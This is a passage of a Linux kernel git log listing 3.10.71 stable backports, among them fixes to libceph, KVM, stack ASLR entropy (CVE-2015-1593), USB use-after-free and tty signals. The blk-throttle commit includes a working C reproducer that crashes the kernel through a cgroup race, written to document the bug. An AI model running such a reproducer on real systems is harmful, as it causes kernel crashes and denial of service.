Roeck Acked-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2bb4f36572e71427c296fe45fb051df5bb70b56 Author: Greg Kroah-Hartman Date: Fri Mar 6 14:42:00 2015 -0800 Linux 3.10.71 Signed-off-by: Pranav Vashi commit 0964552f26e0822cbe85a47a4adc7415d1fbc7f4 Author: Ilya Dryomov Date: Tue Feb 17 19:37:15 2015 +0300 libceph: fix double __remove_osd() problem commit 7eb71e0351fbb1b242ae70abb7bb17107fe2f792 upstream. It turns out it's possible to get __remove_osd() called twice on the same OSD. That doesn't sit well with rb_erase() - depending on the shape of the tree we can get a NULL dereference, a soft lockup or a random crash at some point in the future as we end up touching freed memory. One scenario that I was able to reproduce is as follows: con_fault_finish() osd_reset() ceph_osdc_handle_map() kick_requests() reset_changed_osds() __reset_osd() __remove_osd() __kick_osd_requests() __reset_osd() __remove_osd() <-- !!! A case can be made that osd refcounting is imperfect and reworking it would be a proper resolution, but for now Sage and I decided to fix this by adding a safe guard around __remove_osd(). Fixes: http://tracker.ceph.com/issues/8087 Cc: Sage Weil Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0081a8198c1f0474029a64c4b1fc82039199a8c4 Author: Ilya Dryomov Date: Wed Nov 5 19:33:44 2014 +0300 libceph: change from BUG to WARN for __remove_osd() asserts commit cc9f1f518cec079289d11d732efa490306b1ddad upstream. No reason to use BUG_ON for osd request list assertions. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fea640d5691cc43565d73c7729f4192c950e9f30 Author: Ilya Dryomov Date: Wed Jun 18 13:02:12 2014 +0400 libceph: assert both regular and lingering lists in __remove_osd() commit 7c6e6fc53e7335570ed82f77656cedce1502744e upstream. It is important that both regular and lingering requests lists are empty when the OSD is removed. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2534ac5568d5cb40a84495e089ccafa4bd694006 Author: James Hogan Date: Tue Feb 10 10:02:59 2015 +0000 MIPS: Export FP functions used by lose_fpu(1) for KVM commit 3ce465e04bfd8de9956d515d6e9587faac3375dc upstream. Export the _save_fp asm function used by the lose_fpu(1) macro to GPL modules so that KVM can make use of it when it is built as a module. This fixes the following build error when CONFIG_KVM=m due to commit f798217dfd03 ("KVM: MIPS: Don't leak FPU/DSP to guest"): ERROR: "_save_fp" [arch/mips/kvm/kvm.ko] undefined! Signed-off-by: James Hogan Fixes: f798217dfd03 (KVM: MIPS: Don't leak FPU/DSP to guest) Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Paul Burton Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9260/ Signed-off-by: Ralf Baechle [james.hogan@imgtec.com: Only export when CPU_R4K_FPU=y prior to v3.16, so as not to break the Octeon build which excludes FPU support. KVM depends on MIPS32r2 anyway.] Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ae30df629ae1ad858429f3a9d2d587a33b088cb Author: Hector Marco-Gisbert Date: Sat Feb 14 09:33:50 2015 -0800 x86, mm/ASLR: Fix stack randomization on 64-bit systems commit 4e7c22d447bb6d7e37bfe39ff658486ae78e8d77 upstream. The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert Signed-off-by: Ismael Ripoll [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook Cc: Linus Torvalds Cc: Andrew Morton Cc: Al Viro Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f95264cdf93a558b46e51c0acb52cceb3851614 Author: Thadeu Lima de Souza Cascardo Date: Mon Feb 16 17:16:45 2015 -0200 blk-throttle: check stats_cpu before reading it from sysfs commit 045c47ca306acf30c740c285a77a4b4bda6be7c5 upstream. When reading blkio.throttle.io_serviced in a recently created blkio cgroup, it's possible to race against the creation of a throttle policy, which delays the allocation of stats_cpu. Like other functions in the throttle code, just checking for a NULL stats_cpu prevents the following oops caused by that race. [ 1117.285199] Unable to handle kernel paging request for data at address 0x7fb4d0020 [ 1117.285252] Faulting instruction address: 0xc0000000003efa2c [ 1137.733921] Oops: Kernel access of bad area, sig: 11 [#1] [ 1137.733945] SMP NR_CPUS=2048 NUMA PowerNV [ 1137.734025] Modules linked in: bridge stp llc kvm_hv kvm binfmt_misc autofs4 [ 1137.734102] CPU: 3 PID: 5302 Comm: blkcgroup Not tainted 3.19.0 #5 [ 1137.734132] task: c000000f1d188b00 ti: c000000f1d210000 task.ti: c000000f1d210000 [ 1137.734167] NIP: c0000000003efa2c LR: c0000000003ef9f0 CTR: c0000000003ef980 [ 1137.734202] REGS: c000000f1d213500 TRAP: 0300 Not tainted (3.19.0) [ 1137.734230] MSR: 9000000000009032 CR: 42008884 XER: 20000000 [ 1137.734325] CFAR: 0000000000008458 DAR: 00000007fb4d0020 DSISR: 40000000 SOFTE: 0 GPR00: c0000000003ed3a0 c000000f1d213780 c000000000c59538 0000000000000000 GPR04: 0000000000000800 0000000000000000 0000000000000000 0000000000000000 GPR08: ffffffffffffffff 00000007fb4d0020 00000007fb4d0000 c000000000780808 GPR12: 0000000022000888 c00000000fdc0d80 0000000000000000 0000000000000000 GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR20: 000001003e120200 c000000f1d5b0cc0 0000000000000200 0000000000000000 GPR24: 0000000000000001 c000000000c269e0 0000000000000020 c000000f1d5b0c80 GPR28: c000000000ca3a08 c000000000ca3dec c000000f1c667e00 c000000f1d213850 [ 1137.734886] NIP [c0000000003efa2c] .tg_prfill_cpu_rwstat+0xac/0x180 [ 1137.734915] LR [c0000000003ef9f0] .tg_prfill_cpu_rwstat+0x70/0x180 [ 1137.734943] Call Trace: [ 1137.734952] [c000000f1d213780] [d000000005560520] 0xd000000005560520 (unreliable) [ 1137.734996] [c000000f1d2138a0] [c0000000003ed3a0] .blkcg_print_blkgs+0xe0/0x1a0 [ 1137.735039] [c000000f1d213960] [c0000000003efb50] .tg_print_cpu_rwstat+0x50/0x70 [ 1137.735082] [c000000f1d2139e0] [c000000000104b48] .cgroup_seqfile_show+0x58/0x150 [ 1137.735125] [c000000f1d213a70] [c0000000002749dc] .kernfs_seq_show+0x3c/0x50 [ 1137.735161] [c000000f1d213ae0] [c000000000218630] .seq_read+0xe0/0x510 [ 1137.735197] [c000000f1d213bd0] [c000000000275b04] .kernfs_fop_read+0x164/0x200 [ 1137.735240] [c000000f1d213c80] [c0000000001eb8e0] .__vfs_read+0x30/0x80 [ 1137.735276] [c000000f1d213cf0] [c0000000001eb9c4] .vfs_read+0x94/0x1b0 [ 1137.735312] [c000000f1d213d90] [c0000000001ebb38] .SyS_read+0x58/0x100 [ 1137.735349] [c000000f1d213e30] [c000000000009218] syscall_exit+0x0/0x98 [ 1137.735383] Instruction dump: [ 1137.735405] 7c6307b4 7f891800 409d00b8 60000000 60420000 3d420004 392a63b0 786a1f24 [ 1137.735471] 7d49502a e93e01c8 7d495214 7d2ad214 <7cead02a> e9090008 e9490010 e9290018 And here is one code that allows to easily reproduce this, although this has first been found by running docker. void run(pid_t pid) { int n; int status; int fd; char *buffer; buffer = memalign(BUFFER_ALIGN, BUFFER_SIZE); n = snprintf(buffer, BUFFER_SIZE, "%d\n", pid); fd = open(CGPATH "/test/tasks", O_WRONLY); write(fd, buffer, n); close(fd); if (fork() > 0) { fd = open("/dev/sda", O_RDONLY | O_DIRECT); read(fd, buffer, 512); close(fd); wait(&status); } else { fd = open(CGPATH "/test/blkio.throttle.io_serviced", O_RDONLY); n = read(fd, buffer, BUFFER_SIZE); close(fd); } free(buffer); exit(0); } void test(void) { int status; mkdir(CGPATH "/test", 0666); if (fork() > 0) wait(&status); else run(getpid()); rmdir(CGPATH "/test"); } int main(int argc, char **argv) { int i; for (i = 0; i < NR_TESTS; i++) test(); return 0; } Reported-by: Ricardo Marin Matinata Signed-off-by: Thadeu Lima de Souza Cascardo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd3ba45ff3470f66eaeab0c55d04c67d4d3cddcc Author: Chen Jie Date: Tue Feb 10 12:49:48 2015 -0800 jffs2: fix handling of corrupted summary length commit 164c24063a3eadee11b46575c5482b2f1417be49 upstream. sm->offset maybe wrong but magic maybe right, the offset do not have CRC. Badness at c00c7580 [verbose debug info unavailable] NIP: c00c7580 LR: c00c718c CTR: 00000014 REGS: df07bb40 TRAP: 0700 Not tainted (2.6.34.13-WR4.3.0.0_standard) MSR: 00029000 CR: 22084f84 XER: 00000000 TASK = df84d6e0[908] 'mount' THREAD: df07a000 GPR00: 00000001 df07bbf0 df84d6e0 00000000 00000001 00000000 df07bb58 00000041 GPR08: 00000041 c0638860 00000000 00000010 22084f88 100636c8 df814ff8 00000000 GPR16: df84d6e0 dfa558cc c05adb90 00000048 c0452d30 00000000 000240d0 000040d0 GPR24: 00000014 c05ae734 c05be2e0 00000000 00000001 00000000 00000000 c05ae730 NIP [c00c7580] __alloc_pages_nodemask+0x4d0/0x638 LR [c00c718c] __alloc_pages_nodemask+0xdc/0x638 Call Trace: [df07bbf0] [c00c718c] __alloc_pages_nodemask+0xdc/0x638 (unreliable) [df07bc90] [c00c7708] __get_free_pages+0x20/0x48 [df07bca0] [c00f4a40] __kmalloc+0x15c/0x1ec [df07bcd0] [c01fc880] jffs2_scan_medium+0xa58/0x14d0 [df07bd70] [c01ff38c] jffs2_do_mount_fs+0x1f4/0x6b4 [df07bdb0] [c020144c] jffs2_do_fill_super+0xa8/0x260 [df07bdd0] [c020230c] jffs2_fill_super+0x104/0x184 [df07be00] [c0335814] get_sb_mtd_aux+0x9c/0xec [df07be20] [c033596c] get_sb_mtd+0x84/0x1e8 [df07be60] [c0201ed0] jffs2_get_sb+0x1c/0x2c [df07be70] [c0103898] vfs_kern_mount+0x78/0x1e8 [df07bea0] [c0103a58] do_kern_mount+0x40/0x100 [df07bec0] [c011fe90] do_mount+0x240/0x890 [df07bf10] [c0120570] sys_mount+0x90/0xd8 [df07bf40] [c00110d8] ret_from_syscall+0x0/0x4 === Exception: c01 at 0xff61a34 LR = 0x100135f0 Instruction dump: 38800005 38600000 48010f41 4bfffe1c 4bfc2d15 4bfffe8c 72e90200 4082fc28 3d20c064 39298860 8809000d 68000001 <0f000000> 2f800000 419efc0c 38000001 mount: mounting /dev/mtdblock3 on /common failed: Input/output error Signed-off-by: Chen Jie Signed-off-by: Andrew Morton Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 668cc1c84c6611c2a3218cd1c0beff5cc49589cd Author: Tomáš Hodek Date: Mon Feb 23 11:00:38 2015 +1100 md/raid1: fix read balance when a drive is write-mostly. commit d1901ef099c38afd11add4cfb3312c02ef21ec4a upstream. When a drive is marked write-mostly it should only be the target of reads if there is no other option. This behaviour was broken by commit 9dedf60313fa4dddfd5b9b226a0ef12a512bf9dc md/raid1: read balance chooses idlest disk for SSD which causes a write-mostly device to be *preferred* is some cases. Restore correct behaviour by checking and setting best_dist_disk and best_pending_disk rather than best_disk. We only need to test one of these as they are both changed from -1 or >=0 at the same time. As we leave min_pending and best_dist unchanged, any non-write-mostly device will appear better than the write-mostly device. Reported-by: Tomáš Hodek Reported-by: Dark Penguin Signed-off-by: NeilBrown Link: http://marc.info/?l=linux-raid&m=135982797322422 Fixes: 9dedf60313fa4dddfd5b9b226a0ef12a512bf9dc Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a42a596243fc82a3eac794fa028b410265ddf6af Author: NeilBrown Date: Wed Feb 18 11:35:14 2015 +1100 md/raid5: Fix livelock when array is both resyncing and degraded. commit 26ac107378c4742978216be1005b7291b799c7b2 upstream. Commit a7854487cd7128a30a7f4f5259de9f67d5efb95f: md: When RAID5 is dirty, force reconstruct-write instead of read-modify-write. Causes an RCW cycle to be forced even when the array is degraded. A degraded array cannot support RCW as that requires reading all data blocks, and one may be missing. Forcing an RCW when it is not possible causes a live-lock and the code spins, repeatedly deciding to do something that cannot succeed. So change the condition to only force RCW on non-degraded arrays. Reported-by: Manibalan P Bisected-by: Jes Sorensen Tested-by: Jes Sorensen Signed-off-by: NeilBrown Fixes: a7854487cd7128a30a7f4f5259de9f67d5efb95f Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37302d3f77bf1d391fe56be1cc22abc5e8e36673 Author: James Hogan Date: Tue Feb 24 12:25:25 2015 +0000 metag: Fix KSTK_EIP() and KSTK_ESP() macros commit c2996cb29bfb73927a79dc96e598a718e843f01a upstream. The KSTK_EIP() and KSTK_ESP() macros should return the user program counter (PC) and stack pointer (A0StP) of the given task. These are used to determine which VMA corresponds to the user stack in /proc//maps, and for the user PC & A0StP in /proc//stat. However for Meta the PC & A0StP from the task's kernel context are used, resulting in broken output. For example in following /proc//maps output, the 3afff000-3b021000 VMA should be described as the stack: # cat /proc/self/maps ... 100b0000-100b1000 rwxp 00000000 00:00 0 [heap] 3afff000-3b021000 rwxp 00000000 00:00 0 And in the following /proc//stat output, the PC is in kernel code (1074234964 = 0x40078654) and the A0StP is in the kernel heap (1335981392 = 0x4fa17550): # cat /proc/self/stat 51 (cat) R ... 1335981392 1074234964 ... Fix the definitions of KSTK_EIP() and KSTK_ESP() to use task_pt_regs(tsk)->ctx rather than (tsk)->thread.kernel_context. This gets the registers from the user context stored after the thread info at the base of the kernel stack, which is from the last entry into the kernel from userland, regardless of where in the kernel the task may have been interrupted, which results in the following more correct /proc//maps output: # cat /proc/self/maps ... 0800b000-08070000 r-xp 00000000 00:02 207 /lib/libuClibc-0.9.34-git.so ... 100b0000-100b1000 rwxp 00000000 00:00 0 [heap] 3afff000-3b021000 rwxp 00000000 00:00 0 [stack] And /proc//stat now correctly reports the PC in libuClibc (134320308 = 0x80190b4) and the A0StP in the [stack] region (989864576 = 0x3b002280): # cat /proc/self/stat 51 (cat) R ... 989864576 134320308 ... Reported-by: Alexey Brodkin Reported-by: Vineet Gupta Signed-off-by: James Hogan Cc: linux-metag@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 05ab42f331cc47ce08a675342ceae357d768a73a Author: Nicolas Saenz Julienne Date: Thu Feb 19 01:52:25 2015 +0000 gpio: tps65912: fix wrong container_of arguments commit 2f97c20e5f7c3582c7310f65a04465bfb0fd0e85 upstream. The gpio_chip operations receive a pointer the gpio_chip struct which is contained in the driver's private struct, yet the container_of call in those functions point to the mfd struct defined in include/linux/mfd/tps65912.h. Signed-off-by: Nicolas Saenz Julienne Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad5a4c920daa409b4aff046a46aac17513c8c863 Author: Catalin Marinas Date: Mon Feb 23 15:13:40 2015 +0000 arm64: compat Fix siginfo_t -> compat_siginfo_t conversion on big endian commit 9d42d48a342aee208c1154696196497fdc556bbf upstream. The native (64-bit) sigval_t union contains sival_int (32-bit) and sival_ptr (64-bit). When a compat application invokes a syscall that takes a sigval_t value (as part of a larger structure, e.g. compat_sys_mq_notify, compat_sys_timer_create), the compat_sigval_t union is converted to the native sigval_t with sival_int overlapping with either the least or the most significant half of sival_ptr, depending on endianness. When the corresponding signal is delivered to a compat application, on big endian the current (compat_uptr_t)sival_ptr cast always returns 0 since sival_int corresponds to the top part of sival_ptr. This patch fixes copy_siginfo_to_user32() so that sival_int is copied to the compat_siginfo_t structure. Reported-by: Bamvor Jian Zhang Tested-by: Bamvor Jian Zhang Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb36f510feecb6b78e0499501e0060fb39d7aec0 Author: Martin Vajnar Date: Wed Dec 24 00:27:57 2014 +0100 hx4700: regulator: declare full constraints commit a52d209336f8fc7483a8c7f4a8a7d2a8e1692a6c upstream. Since the removal of CONFIG_REGULATOR_DUMMY option, the touchscreen stopped working. This patch enables the "replacement" for REGULATOR_DUMMY and allows the touchscreen to work even though there is no regulator for "vcc". Signed-off-by: Martin Vajnar Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df7cfb5c9f6bc1fd065d2497acfc2773b2f1a869 Author: Marcelo Tosatti Date: Tue Nov 4 21:30:44 2014 -0200 KVM: x86: update masterclock values on TSC writes commit 7f187922ddf6b67f2999a76dcb71663097b75497 upstream. When the guest writes to the TSC, the masterclock TSC copy must be updated as well along with the TSC_OFFSET update, otherwise a negative tsc_timestamp is calculated at kvm_guest_time_update. Once "if (!vcpus_matched && ka->use_master_clock)" is simplified to "if (ka->use_master_clock)", the corresponding "if (!ka->use_master_clock)" becomes redundant, so remove the do_request boolean and collapse everything into a single condition. Signed-off-by: Marcelo Tosatti Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f1b7c2c81e5bbc6bacd9c58eae946cfe32c9f54 Author: James Hogan Date: Wed Feb 4 17:06:37 2015 +0000 KVM: MIPS: Don't leak FPU/DSP to guest commit f798217dfd038af981a18bbe4bc57027a08bb182 upstream. The FPU and DSP are enabled via the CP0 Status CU1 and MX bits by kvm_mips_set_c0_status() on a guest exit, presumably in case there is active state that needs saving if pre-emption occurs. However neither of these bits are cleared again when returning to the guest. This effectively gives the guest access to the FPU/DSP hardware after the first guest exit even though it is not aware of its presence, allowing FP instructions in guest user code to intermittently actually execute instead of trapping into the guest OS for emulation. It will then read & manipulate the hardware FP registers which technically belong to the user process (e.g. QEMU), or are stale from another user process. It can also crash the guest OS by causing an FP exception, for which a guest exception handler won't have been registered. First lets save and disable the FPU (and MSA) state with lose_fpu(1) before entering the guest. This simplifies the problem, especially for when guest FPU/MSA support is added in the future, and prevents FR=1 FPU state being live when the FR bit gets cleared for the guest, which according to the architecture causes the contents of the FPU and vector registers to become UNPREDICTABLE. We can then safely remove the enabling of the FPU in kvm_mips_set_c0_status(), since there should never be any active FPU or MSA state to save at pre-emption, which should plug the FPU leak. DSP state is always live rather than being lazily restored, so for that it is simpler to just clear the MX bit again when re-entering the guest. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Sanjay Lal Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: # v3.10+: 044f0f03eca0: MIPS: KVM: Deliver guest interrupts Cc: # v3.10+ Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e1d8c004ddb02e737fdf07e2abc936ca2d3a348 Author: Alexey Brodkin Date: Thu Feb 12 21:10:11 2015 +0300 ARC: fix page address calculation if PAGE_OFFSET != LINUX_LINK_BASE commit 06f34e1c28f3608b0ce5b310e41102d3fe7b65a1 upstream. We used to calculate page address differently in 2 cases: 1. In virt_to_page(x) we do --->8--- mem_map + (x - CONFIG_LINUX_LINK_BASE) >> PAGE_SHIFT --->8--- 2. In in pte_page(x) we do --->8--- mem_map + (pte_val(x) - PAGE_OFFSET) >> PAGE_SHIFT --->8--- That leads to problems in case PAGE_OFFSET != CONFIG_LINUX_LINK_BASE - different pages will be selected depending on where and how we calculate page address. In particular in the STAR 9000853582 when gdb attempted to read memory of another process it got improper page in get_user_pages() because this is exactly one of the places where we search for a page by pte_page(). The fix is trivial - we need to calculate page address similarly in both cases. Signed-off-by: Alexey Brodkin Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58c085d5e86cf250da5f8b6bd4b0004b7f77d11 Author: John Stultz Date: Mon Feb 9 23:30:36 2015 -0800 ntp: Fixup adjtimex freq validation on 32-bit systems commit 29183a70b0b828500816bd794b3fe192fce89f73 upstream. Additional validation of adjtimex freq values to avoid potential multiplication overflows were added in commit 5e5aeb4367b (time: adjtimex: Validate the ADJ_FREQUENCY values) Unfortunately the patch used LONG_MAX/MIN instead of LLONG_MAX/MIN, which was fine on 64-bit systems, but being much smaller on 32-bit systems caused false positives resulting in most direct frequency adjustments to fail w/ EINVAL. ntpd only does direct frequency adjustments at startup, so the issue was not as easily observed there, but other time sync applications like ptpd and chrony were more effected by the bug. See bugs: https://bugzilla.kernel.org/show_bug.cgi?id=92481 https://bugzilla.redhat.com/show_bug.cgi?id=1188074 This patch changes the checks to use LLONG_MAX for clarity, and additionally the checks are disabled on 32-bit systems since LLONG_MAX/PPM_SCALE is always larger then the 32-bit long freq value, so multiplication overflows aren't possible there. Reported-by: Josh Boyer Reported-by: George Joseph Tested-by: George Joseph Signed-off-by: John Stultz Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Sasha Levin Link: http://lkml.kernel.org/r/1423553436-29747-1-git-send-email-john.stultz@linaro.org [ Prettified the changelog and the comments a bit. ] Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e16aad6ff2f6d42cba32505e0b7d153c4174023a Author: Jay Lan Date: Mon Sep 29 15:36:57 2014 -0700 kdb: fix incorrect counts in KDB summary command output commit 146755923262037fc4c54abc28c04b1103f3cc51 upstream. The output of KDB 'summary' command should report MemTotal, MemFree and Buffers output in kB. Current codes report in unit of pages. A define of K(x) as is defined in the code, but not used. This patch would apply the define to convert the values to kB. Please include me on Cc on replies. I do not subscribe to linux-kernel. Signed-off-by: Jay Lan Signed-off-by: Jason Wessel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f69f461db9f5d0e1d6a2971bd887c1adda2edc3 Author: Dmitry Eremin-Solenikov Date: Thu Dec 4 14:10:01 2014 +0300 ARM: pxa: add regulator_has_full_constraints to poodle board file commit 9bc78f32c2e430aebf6def965b316aa95e37a20c upstream. Add regulator_has_full_constraints() call to poodle board file to let regulator core know that we do not have any additional regulators left. This lets it substitute unprovided regulators with dummy ones. This fixes the following warnings that can be seen on poodle if regulators are enabled: ads7846 spi1.0: unable to get regulator: -517 spi spi1.0: Driver ads7846 requests probe deferral wm8731 0-001b: Failed to get supply 'AVDD': -517 wm8731 0-001b: Failed to request supplies: -517 wm8731 0-001b: ASoC: failed to probe component -517 Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Mark Brown Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fe360bb6c314dbc2f381fcc4c4d799abf0cb043 Author: Dmitry Eremin-Solenikov Date: Thu Dec 4 14:10:00 2014 +0300 ARM: pxa: add regulator_has_full_constraints to corgi board file commit 271e80176aae4e5b481f4bb92df9768c6075bbca upstream. Add regulator_has_full_constraints() call to corgi board file to let regulator core know that we do not have any additional regulators left. This lets it substitute unprovided regulators with dummy ones. This fixes the following warnings that can be seen on corgi if regulators are enabled: ads7846 spi1.0: unable to get regulator: -517 spi spi1.0: Driver ads7846 requests probe deferral wm8731 0-001b: Failed to get supply 'AVDD': -517 wm8731 0-001b: Failed to request supplies: -517 wm8731 0-001b: ASoC: failed to probe component -517 corgi-audio corgi-audio: ASoC: failed to instantiate card -517 Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Mark Brown Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a7d917585c0f7e5e78e06f325f085e195f8a3e2 Author: Nicolas Pitre Date: Fri Jan 23 17:07:21 2015 -0500 vt: provide notifications on selection changes commit 19e3ae6b4f07a87822c1c9e7ed99d31860e701af upstream. The vcs device's poll/fasync support relies on the vt notifier to signal changes to the screen content. Notifier invocations were missing for changes that comes through the selection interface though. Fix that. Tested with BRLTTY 5.2. Signed-off-by: Nicolas Pitre Cc: Dave Mielke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2405b6aa13ecca83fddcdd5fd2ee56b83d30145f Author: Sebastian Andrzej Siewior Date: Fri Dec 5 15:13:54 2014 +0100 usb: core: buffer: smallest buffer should start at ARCH_DMA_MINALIGN commit 5efd2ea8c9f4f12916ffc8ba636792ce052f6911 upstream. the following error pops up during "testusb -a -t 10" | musb-hdrc musb-hdrc.1.auto: dma_pool_free buffer-128, f134e000/be842000 (bad dma) hcd_buffer_create() creates a few buffers, the smallest has 32 bytes of size. ARCH_KMALLOC_MINALIGN is set to 64 bytes. This combo results in hcd_buffer_alloc() returning memory which is 32 bytes aligned and it might by identified by buffer_offset() as another buffer. This means the buffer which is on a 32 byte boundary will not get freed, instead it tries to free another buffer with the error message. This patch fixes the issue by creating the smallest DMA buffer with the size of ARCH_KMALLOC_MINALIGN (or 32 in case ARCH_KMALLOC_MINALIGN is smaller). This might be 32, 64 or even 128 bytes. The next three pools will have the size 128, 512 and 2048. In case the smallest pool is 128 bytes then we have only three pools instead of four (and zero the first entry in the array). The last pool size is always 2048 bytes which is the assumed PAGE_SIZE / 2 of 4096. I doubt it makes sense to continue using PAGE_SIZE / 2 where we would end up with 8KiB buffer in case we have 16KiB pages. Instead I think it makes sense to have a common size(s) and extend them if there is need to. There is a BUILD_BUG_ON() now in case someone has a minalign of more than 128 bytes. Signed-off-by: Sebastian Andrzej Siewior Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 47ac5f7c0e76f8742dcbe99eee6ed826ff7bfe0e Author: Alan Stern Date: Fri Jan 30 12:58:26 2015 -0500 USB: fix use-after-free bug in usb_hcd_unlink_urb() commit c99197902da284b4b723451c1471c45b18537cde upstream. The usb_hcd_unlink_urb() routine in hcd.c contains two possible use-after-free errors. The dev_dbg() statement at the end of the routine dereferences urb and urb->dev even though both structures may have been deallocated. This patch fixes the problem by storing urb->dev in a local variable (avoiding the dereference of urb) and moving the dev_dbg() up before the usb_put_dev() call. Signed-off-by: Alan Stern Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b328218f0c244c947b27cdc1106bac963680d004 Author: Lennart Sorensen Date: Wed Jan 21 15:24:27 2015 -0500 USB: cp210x: add ID for RUGGEDCOM USB Serial Console commit a6f0331236fa75afba14bbcf6668d42cebb55c43 upstream. Added the USB serial console device ID for Siemens Ruggedcom devices which have a USB port for their serial console. Signed-off-by: Len Sorensen Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e07612e0bcfb01ef45d9f381ee13c0ede71b6d53 Author: Peter Hurley Date: Mon Jan 19 13:05:03 2015 -0500 tty: Prevent untrappable signals from malicious program commit 37480a05685ed5b8e1b9bf5e5c53b5810258b149 upstream. Commit 26df6d13406d1a5 ("tty: Add EXTPROC support for LINEMODE") allows a process which has opened a pty master to send _any_ signal to the process group of the pty slave. Although potentially exploitable by a malicious program running a setuid program on a pty slave, it's unknown if this exploit currently exists. Limit to signals actually used. Cc: Theodore Ts'o Cc: Howard Chu Cc: One Thousand Gnomes Cc: Jiri Slaby Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 310915ba08a9cbd0a642de679a4553ce213e30a2 Author: Matthew Wilcox Date: Wed Jan 7 18:04:18 2015 +0200 axonram: Fix bug in direct_access commit 91117a20245b59f70b563523edbf998a62fc6383 upstream. The 'pfn' returned by axonram was completely bogus, and has been since 2008. Signed-off-by: Matthew Wilcox Reviewed-by: Jan Kara Reviewed-by: Mathieu Desnoyers Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56c266b1ec9526aae923b2a8f240b3e0f3327cf3 Author: Jeff Moyer Date: Mon Jan 12 15:21:01 2015 -0500 cfq-iosched: fix incorrect filing of rt async cfqq commit c6ce194325cef342313e3d27620411ce90a89c50 upstream. Hi, If you can manage to submit an async write as the first async I/O from the context of 